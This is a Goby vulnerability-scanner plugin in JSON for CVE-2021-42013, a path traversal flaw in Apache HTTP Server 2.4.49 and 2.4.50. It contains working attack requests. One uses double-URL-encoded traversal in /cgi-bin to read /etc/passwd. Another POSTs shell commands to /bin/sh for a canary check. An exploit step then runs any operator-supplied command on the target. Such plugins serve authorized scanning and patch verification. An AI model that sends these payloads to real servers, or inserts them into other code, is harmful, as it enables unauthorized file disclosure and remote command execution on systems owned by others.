{
      "Name": "Apache HTTP Server 2.4.49 2.4.50 Path Traversal CVE-2021-42013",
      "Level": "3",
      "Tags": [
            "Path Traversal"
      ],
      "GobyQuery": "product=\"Apache-Web-Server\"",
      "Description": "The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards.",
      "Product": "Apache HTTP Server",
      "Homepage": "http://httpd.apache.org/",
      "Author": "",
      "Impact": "It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.",
      "Recommendation": "",
      "References": [
            "https://httpd.apache.org/security/vulnerabilities_24.html",
            "https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d",
            "https://nvd.nist.gov/vuln/detail/CVE-2021-42013",
            "https://twitter.com/itsecurityco/status/1446136957117943815"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Cmd",
                  "Type": "input",
                  "Value": ""
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd",
                        "follow_redirect": true,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/cgi-bin/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/bin/sh",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "CVE-2021-42013",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|"
                  ]
            }
      ],
      "ExploitSteps": [
            "OR",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/cgi-bin/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/.%%%25%33%32%25%36%35/bin/sh",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "echo;{{{Cmd}}}",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "{{{Cmd}}}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody||"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}